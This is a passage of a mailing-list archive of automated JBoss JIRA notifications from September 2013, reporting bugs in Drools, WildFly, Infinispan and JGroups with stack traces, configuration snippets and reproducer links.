> 	at org.drools.reteoo.nodes.ReteJoinNode.propagateFromRight(ReteJoinNode.java:135)
> 	at org.drools.reteoo.nodes.ReteJoinNode.assertRightTuple(ReteJoinNode.java:125)
> 	at org.drools.reteoo.nodes.ReteBetaNodeUtils.assertObject(ReteBetaNodeUtils.java:47)
> 	at org.drools.reteoo.nodes.ReteJoinNode.assertObject(ReteJoinNode.java:39)
> 	at org.drools.core.reteoo.CompositeObjectSinkAdapter.doPropagateAssertObject(CompositeObjectSinkAdapter.java:502)
> 	at org.drools.core.reteoo.CompositeObjectSinkAdapter.propagateAssertObject(CompositeObjectSinkAdapter.java:387)
> 	at org.drools.core.reteoo.PropagationQueuingNode$AssertAction.execute(PropagationQueuingNode.java:430)
> 	at org.drools.core.reteoo.PropagationQueuingNode.propagateActions(PropagationQueuingNode.java:266)
> 	at org.drools.core.reteoo.PropagationQueuingNode$PropagateAction.execute(PropagationQueuingNode.java:592)
> 	at org.drools.core.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:1223)
> 	... 12 more
> What I discovered is that this only happens when I save the KieSession to a file in one JVM and reload it in another. When I load the KieSession in the same JVM as the one in which I persisted it, there is no exception and the rule get's fired (as expected).
> I created a reproducer project for it: https://github.com/DuncanDoyle/DroolsSessionPersistenceNPE/
> I've added some Maven profiles so you can easily observe the behaviour:
> - mvn -PallRuns exec:java    : this runs both the persistence and the reload in the same JVM, no exception, everything works fine.
> - mvn -PfirstRun exec:java    : this runs the first part of the test, and saves the KieSession to a file.
> - mvn -PsecondRun exec:java   : this runs the second part of the test, which loads the previously saved KieSession from the file and inserts a new fact, resulting in the NPE.
> All three tests can also be run in ReteOO mode by adding "-Ddrools.ruleEngine=reteoo" at the end of the command.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 28 09:38:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sat, 28 Sep 2013 09:38:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-164) java.io.IOException Channel
 closed exception after several reload of server
In-Reply-To: <JIRA.12473197.1346156423000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12473197.1346156423000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12473197.1346156423000.4993.1380375482768@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-164?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808049#comment-12808049 ] 

RH Bugzilla Integration commented on WFLY-164:
----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1006246|https://bugzilla.redhat.com/show_bug.cgi?id=1006246] from POST to MODIFIED
                
> java.io.IOException Channel closed exception after several reload of server
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-164
>                 URL: https://issues.jboss.org/browse/WFLY-164
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Ond?ej Chaloupka
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Alpha1
>
>
> Small testing program:
> https://github.com/ochaloup/jboss-dmr-test/blob/master/src/main/java/ochaloup/ClientReload.java
> When I run it first time then everything is fine and reload is done and info from server is shown. 
> When I left the server run and execute my program several more times (3 or more) then it's starting to crash with exception
> {code}
> java.lang.reflect.InvocationTargetException
>         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
>         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
>         at java.lang.reflect.Method.invoke(Method.java:597)
>         at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
>         at java.lang.Thread.run(Thread.java:662)
> Caused by: java.io.IOException: java.util.concurrent.ExecutionException: Operation failed
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:129)
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:71)
>         at ochaloup.ClientReload.main(ClientReload.java:19)
>         ... 6 more
> Caused by: java.util.concurrent.ExecutionException: Operation failed
>         at org.jboss.threads.AsyncFutureTask.operationFailed(AsyncFutureTask.java:74)
>         at org.jboss.threads.AsyncFutureTask.get(AsyncFutureTask.java:268)
>         at org.jboss.as.controller.client.impl.AbstractDelegatingAsyncFuture.get(AbstractDelegatingAsyncFuture.java:100)
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:127)
>         ... 8 more
> Caused by: java.io.IOException: Channel closed
>         at org.jboss.as.protocol.mgmt.AbstractMessageHandler.handleChannelClosed(AbstractMessageHandler.java:354)
>         at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:135)
>         at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:132)
>         at org.jboss.as.protocol.mgmt.ManagementClientChannelStrategy$Establishing$3.handleClose(ManagementClientChannelStrategy.java:189)
>         at org.jboss.as.protocol.mgmt.ManagementClientChannelStrategy$Establishing$3.handleClose(ManagementClientChannelStrategy.java:180)
>         at org.jboss.remoting3.spi.SpiUtils.safeHandleClose(SpiUtils.java:54)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable$CloseHandlerTask.run(AbstractHandleableCloseable.java:501)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.runCloseTask(AbstractHandleableCloseable.java:406)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeComplete(AbstractHandleableCloseable.java:277)
>         at org.jboss.remoting3.remote.RemoteConnectionChannel.closeAction(RemoteConnectionChannel.java:517)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeAsync(AbstractHandleableCloseable.java:359)
>         at org.jboss.remoting3.remote.RemoteConnectionHandler.closeAllChannels(RemoteConnectionHandler.java:382)
>         at org.jboss.remoting3.remote.RemoteConnectionHandler.handleConnectionClose(RemoteConnectionHandler.java:103)
>         at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:78)
>         at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:45)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:189)
>         at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:103)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:189)
>         at org.xnio.ssl.JsseConnectedSslStreamChannel.handleReadable(JsseConnectedSslStreamChannel.java:180)
>         at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:103)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.nio.NioHandle.run(NioHandle.java:90)
>         at org.xnio.nio.WorkerThread.run(WorkerThread.java:184)
> {code}
> Maybe this could be connected with AS7 testsuite problem:
> https://issues.jboss.org/browse/AS7-4185

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Sat Sep 28 09:40:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sat, 28 Sep 2013 09:40:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1511)
 RemoteDomainConnection.close() will block forever if the master HC is not
 running
In-Reply-To: <JIRA.12494131.1371059684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494131.1371059684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494131.1371059684000.4996.1380375602579@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1511?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808050#comment-12808050 ] 

RH Bugzilla Integration commented on WFLY-1511:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1012850|https://bugzilla.redhat.com/show_bug.cgi?id=1012850] from POST to MODIFIED
                
> RemoteDomainConnection.close() will block forever if the master HC is not running 
> ----------------------------------------------------------------------------------
>
>                 Key: WFLY-1511
>                 URL: https://issues.jboss.org/browse/WFLY-1511
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Beta1
>
>
> RemoteDomainConnection.close() overrides FutureManagementChannel.close() to first send a "unregister" message to the master HC before calling the superclass functionality.
> Problem is this call tries to open a connection to the master and will block forever waiting for it to connect if the master isn't available, as seen at http://fpaste.org/18232/37105700/
> That example was from AutoIgnoredResourcesDomainTestCase which is concurrently shutting down the hosts in the domain, meaning the master can be shutting down in the middle of or prior to slave shutdown.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 28 09:42:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sat, 28 Sep 2013 09:42:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.4999.1380375722502@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808051#comment-12808051 ] 

RH Bugzilla Integration commented on WFLY-2139:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1011994|https://bugzilla.redhat.com/show_bug.cgi?id=1011994] from POST to MODIFIED
                
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 28 13:17:02 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Thomas_Fr=C3=BChbeck_=28JIRA=29?=)
Date: Sat, 28 Sep 2013 13:17:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2178) exception in distributable
 webapp leads to infinispan lock contention
In-Reply-To: <JIRA.12501776.1380388525462@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501776.1380388525462@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501776.1380388525462.5024.1380388622587@jira02.app.mwc.hst.phx2.redhat.com>

Thomas Fr?hbeck created WFLY-2178:
-------------------------------------

             Summary: exception in distributable webapp leads to infinispan lock contention 
                 Key: WFLY-2178
                 URL: https://issues.jboss.org/browse/WFLY-2178
             Project: WildFly
          Issue Type: Bug
          Components: Clustering
    Affects Versions: 8.0.0.Beta1
            Reporter: Thomas Fr?hbeck
            Assignee: Paul Ferraro
         Attachments: lockContention_server.log

Exception in session.invalidate leads to:
ERROR [org.infinispan.interceptors.InvocationContextInterceptor] (default task-23) ISPN000136: Execution error: org.infinispan.util.concurrent.TimeoutExceptio
n: Unable to acquire lock after [15 seconds] on key [FIsDATdNvtWFPLx-x-00_6x0] for requestor [GlobalTransaction:<storage/web>:171:local]! Lock held by [GlobalTransaction:<storage/web>:170:local]

server.log attached

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Sat Sep 28 13:17:02 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Thomas_Fr=C3=BChbeck_=28JIRA=29?=)
Date: Sat, 28 Sep 2013 13:17:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2178) exception in distributable
 webapp leads to infinispan lock contention
In-Reply-To: <JIRA.12501776.1380388525000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501776.1380388525000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501776.1380388525000.5026.1380388622702@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2178?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Thomas Fr?hbeck updated WFLY-2178:
----------------------------------

    Attachment: lockContention_server.log


snippet of server.log containing the causing exception and the resulting lock contention messages
                
> exception in distributable webapp leads to infinispan lock contention 
> ----------------------------------------------------------------------
>
>                 Key: WFLY-2178
>                 URL: https://issues.jboss.org/browse/WFLY-2178
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Thomas Fr?hbeck
>            Assignee: Paul Ferraro
>         Attachments: lockContention_server.log
>
>
> Exception in session.invalidate leads to:
> ERROR [org.infinispan.interceptors.InvocationContextInterceptor] (default task-23) ISPN000136: Execution error: org.infinispan.util.concurrent.TimeoutExceptio
> n: Unable to acquire lock after [15 seconds] on key [FIsDATdNvtWFPLx-x-00_6x0] for requestor [GlobalTransaction:<storage/web>:171:local]! Lock held by [GlobalTransaction:<storage/web>:170:local]
> server.log attached

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Sat Sep 28 13:19:02 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Thomas_Fr=C3=BChbeck_=28JIRA=29?=)
Date: Sat, 28 Sep 2013 13:19:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2178) exception in distributable
 webapp leads to infinispan lock contention
In-Reply-To: <JIRA.12501776.1380388525000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501776.1380388525000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501776.1380388525000.5030.1380388742594@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2178?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808055#comment-12808055 ] 

Thomas Fr?hbeck commented on WFLY-2178:
---------------------------------------

see UNDERTOW-107 for the reason of ConcurrentModificationException
                
> exception in distributable webapp leads to infinispan lock contention 
> ----------------------------------------------------------------------
>
>                 Key: WFLY-2178
>                 URL: https://issues.jboss.org/browse/WFLY-2178
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Thomas Fr?hbeck
>            Assignee: Paul Ferraro
>         Attachments: lockContention_server.log
>
>
> Exception in session.invalidate leads to:
> ERROR [org.infinispan.interceptors.InvocationContextInterceptor] (default task-23) ISPN000136: Execution error: org.infinispan.util.concurrent.TimeoutExceptio
> n: Unable to acquire lock after [15 seconds] on key [FIsDATdNvtWFPLx-x-00_6x0] for requestor [GlobalTransaction:<storage/web>:171:local]! Lock held by [GlobalTransaction:<storage/web>:170:local]
> server.log attached

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Sat Sep 28 19:30:02 2013
From: jira-events at lists.jboss.org (Duncan Doyle (JIRA))
Date: Sat, 28 Sep 2013 19:30:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-278) ProtobufMarshaller throws
 ClassCastException when marshalling CDI proxied KieSession.
In-Reply-To: <JIRA.12501777.1380410976042@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501777.1380410976042@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501777.1380410976042.5046.1380411002815@jira02.app.mwc.hst.phx2.redhat.com>

Duncan Doyle created DROOLS-278:
-----------------------------------

             Summary: ProtobufMarshaller throws ClassCastException when marshalling CDI proxied KieSession.
                 Key: DROOLS-278
                 URL: https://issues.jboss.org/browse/DROOLS-278
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3
         Environment: Mac OS-X 1.0.8.5, Hotspot 1.7.0_40
            Reporter: Duncan Doyle
            Assignee: Mark Proctor


I have a CDI (Weld) @Producer which produces a KieSession. The KieSession is therefore proxied by a CDI/Weld proxy. When I try to marshall such a KieSession object, the ProtobufMarshaller throws the following ClassCastException:

01:21:07.505 [main] ERROR o.j.d.b.c.CdiSessionPersistenceTest - Error saving KieSession.
java.lang.ClassCastException: org.jboss.weld.proxies.CommandExecutor$EntryPoint$KieRuntime$KieRuntimeEventManager$KieSession$ProcessEventManager$ProcessRuntime$RuleRuntime$StatefulProcessSession$StatefulRuleSession$WorkingMemoryEventManager$761192450$Proxy$_$$_WeldClientProxy cannot be cast to org.drools.core.impl.StatefulKnowledgeSessionImpl
	at org.drools.core.marshalling.impl.ProtobufMarshaller.marshall(ProtobufMarshaller.java:157) ~[drools-core-6.0.0.CR4-Pre1.jar:6.0.0.CR4-Pre1]
	at org.drools.core.marshalling.impl.ProtobufMarshaller.marshall(ProtobufMarshaller.java:148) ~[drools-core-6.0.0.CR4-Pre1.jar:6.0.0.CR4-Pre1]
	at org.jboss.ddoyle.brms.cep.ha.management.FileKieSessionLoader.save(FileKieSessionLoader.java:67) ~[classes/:na]
	at org.jboss.ddoyle.brms.cep.ha.management.FileKieSessionLoader.save(FileKieSessionLoader.java:37) ~[classes/:na]
	at org.jboss.ddoyle.brms.cep.ha.drools.session.SessionManager.saveKieSession(SessionManager.java:27) ~[classes/:na]
	at org.jboss.ddoyle.brms.cep.ha.drools.session.SessionManager$Proxy$_$$_WeldClientProxy.saveKieSession(SessionManager$Proxy$_$$_WeldClientProxy.java) ~[classes/:na]
	at org.jboss.ddoyle.brms.cdi.CdiSessionPersistenceTest.testCdiSessionPersistence(CdiSessionPersistenceTest.java:43) ~[test-classes/:na]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.7.0_40]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) ~[na:1.7.0_40]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.7.0_40]
	at java.lang.reflect.Method.invoke(Method.java:606) ~[na:1.7.0_40]
	at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:47) [junit-4.11.jar:na]
	at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) [junit-4.11.jar:na]
	at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:44) [junit-4.11.jar:na]
	at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17) [junit-4.11.jar:na]
	at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:271) [junit-4.11.jar:na]
	at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:70) [junit-4.11.jar:na]
	at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:50) [junit-4.11.jar:na]
	at org.junit.runners.ParentRunner$3.run(ParentRunner.java:238) [junit-4.11.jar:na]
	at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:63) [junit-4.11.jar:na]
	at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:236) [junit-4.11.jar:na]
	at org.junit.runners.ParentRunner.access$000(ParentRunner.java:53) [junit-4.11.jar:na]
	at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:229) [junit-4.11.jar:na]
	at org.junit.runners.ParentRunner.run(ParentRunner.java:309) [junit-4.11.jar:na]
	at org.apache.maven.surefire.junit4.JUnit4TestSet.execute(JUnit4TestSet.java:53) [surefire-junit4-2.10.jar:2.10]
	at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:123) [surefire-junit4-2.10.jar:2.10]
	at org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:104) [surefire-junit4-2.10.jar:2.10]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.7.0_40]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) ~[na:1.7.0_40]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.7.0_40]
	at java.lang.reflect.Method.invoke(Method.java:606) ~[na:1.7.0_40]
	at org.apache.maven.surefire.util.ReflectionUtils.invokeMethodWithArray(ReflectionUtils.java:164) [surefire-api-2.10.jar:2.10]
	at org.apache.maven.surefire.booter.ProviderFactory$ProviderProxy.invoke(ProviderFactory.java:110) [surefire-booter-2.10.jar:2.10]
	at org.apache.maven.surefire.booter.SurefireStarter.invokeProvider(SurefireStarter.java:175) [surefire-booter-2.10.jar:2.10]
	at org.apache.maven.surefire.booter.SurefireStarter.runSuitesInProcessWhenForked(SurefireStarter.java:107) [surefire-booter-2.10.jar:2.10]
	at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:68) [surefire-booter-2.10.jar:2.10]

I've created a reproducer which shows the behaviour: https://github.com/DuncanDoyle/DroolsSessionCdiClassCastException

Just run 'mvn clean test' in the project.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 28 23:32:02 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Sat, 28 Sep 2013 23:32:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1708)
 sun.security.rsa.RSAPrivateCrtKeyImpl cannot be cast to
 javax.crypto.SecretKey
In-Reply-To: <JIRA.12501778.1380425499615@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501778.1380425499615@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501778.1380425499615.5049.1380425522588@jira02.app.mwc.hst.phx2.redhat.com>

shen kim created JGRP-1708:
------------------------------

             Summary: sun.security.rsa.RSAPrivateCrtKeyImpl cannot be cast to javax.crypto.SecretKey
                 Key: JGRP-1708
                 URL: https://issues.jboss.org/browse/JGRP-1708
             Project: JGroups
          Issue Type: Bug
         Environment: JDK1.7 Jgroups3.4.0.Beta1
            Reporter: shen kim
            Assignee: Bela Ban


When I used ENCRYPT with key_store like this:
<config xmlns="urn:org:jgroups" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:org:jgroups http://www.jgroups.org/schema/JGroups-3.3.xsd">
	<TCP />
	<MPING />
	<MERGE2 />
	<FD />
	<VERIFY_SUSPECT />
	<ENCRYPT key_store_name="server.keystore" store_password="changeit" alias="tomcat"/>
	<pbcast.NAKACK />
	<UNICAST3 />
	<pbcast.GMS />
	<UFC />
	<MFC />
	<STATS />
	<pbcast.STATE_SOCK />
</config>

When I start the first Cluster it is OK, but when I start the second Cluster it throw:
Exception in thread "main" java.lang.ClassCastException: sun.security.rsa.RSAPrivateCrtKeyImpl cannot be cast to javax.crypto.SecretKey
	at org.jgroups.protocols.ENCRYPT.initConfiguredKey(ENCRYPT.java:274)
	at org.jgroups.protocols.ENCRYPT.init(ENCRYPT.java:234)
	at org.jgroups.stack.ProtocolStack.initProtocolStack(ProtocolStack.java:848)
	at org.jgroups.stack.ProtocolStack.setup(ProtocolStack.java:467)
	at org.jgroups.JChannel.init(JChannel.java:830)
	at org.jgroups.JChannel.<init>(JChannel.java:158)
	at org.jgroups.JChannel.<init>(JChannel.java:138)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 28 23:36:02 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Sat, 28 Sep 2013 23:36:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1708)
 sun.security.rsa.RSAPrivateCrtKeyImpl cannot be cast to
 javax.crypto.SecretKey
In-Reply-To: <JIRA.12501778.1380425499000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501778.1380425499000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501778.1380425499000.5052.1380425762728@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1708?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

shen kim closed JGRP-1708.
--------------------------

    Resolution: Rejected

    
> sun.security.rsa.RSAPrivateCrtKeyImpl cannot be cast to javax.crypto.SecretKey
> ------------------------------------------------------------------------------
>
>                 Key: JGRP-1708
>                 URL: https://issues.jboss.org/browse/JGRP-1708
>             Project: JGroups
>          Issue Type: Bug
>         Environment: JDK1.7 Jgroups3.4.0.Beta1
>            Reporter: shen kim
>            Assignee: Bela Ban
>
> When I used ENCRYPT with key_store like this:
> <config xmlns="urn:org:jgroups" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:org:jgroups http://www.jgroups.org/schema/JGroups-3.3.xsd">
> 	<TCP />
> 	<MPING />
> 	<MERGE2 />
> 	<FD />
> 	<VERIFY_SUSPECT />
> 	<ENCRYPT key_store_name="server.keystore" store_password="changeit" alias="tomcat"/>
> 	<pbcast.NAKACK />
> 	<UNICAST3 />
> 	<pbcast.GMS />
> 	<UFC />
> 	<MFC />
> 	<STATS />
> 	<pbcast.STATE_SOCK />
> </config>
> When I start the first Cluster it is OK, but when I start the second Cluster it throw:
> Exception in thread "main" java.lang.ClassCastException: sun.security.rsa.RSAPrivateCrtKeyImpl cannot be cast to javax.crypto.SecretKey
> 	at org.jgroups.protocols.ENCRYPT.initConfiguredKey(ENCRYPT.java:274)
> 	at org.jgroups.protocols.ENCRYPT.init(ENCRYPT.java:234)
> 	at org.jgroups.stack.ProtocolStack.initProtocolStack(ProtocolStack.java:848)
> 	at org.jgroups.stack.ProtocolStack.setup(ProtocolStack.java:467)
> 	at org.jgroups.JChannel.init(JChannel.java:830)
> 	at org.jgroups.JChannel.<init>(JChannel.java:158)
> 	at org.jgroups.JChannel.<init>(JChannel.java:138)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 00:15:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 30 Sep 2013 00:15:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2179) Enforce permissions on
 deployment upload ops
In-Reply-To: <JIRA.12501787.1380514455816@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501787.1380514455816@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501787.1380514455816.5165.1380514503017@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2179:
--------------------------------------

             Summary: Enforce permissions on deployment upload ops
                 Key: WFLY-2179
                 URL: https://issues.jboss.org/browse/WFLY-2179
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
    Affects Versions: 8.0.0.Alpha4
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


The handlers for the upload-deployment-[bytes|stream|url] ops are not triggering any permission checks. This is because they do not affect model and are not accessing the service registry.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 02:03:02 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Mon, 30 Sep 2013 02:03:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2096) WeldApplicationFactory
 doesn't implement setApplication() correctly
In-Reply-To: <JIRA.12500836.1379414469000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500836.1379414469000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500836.1379414469000.5206.1380520982835@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2096?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stuart Douglas reassigned WFLY-2096:
------------------------------------

    Assignee: Stuart Douglas  (was: Jozef Hartinger)

    
> WeldApplicationFactory doesn't implement setApplication() correctly
> -------------------------------------------------------------------
>
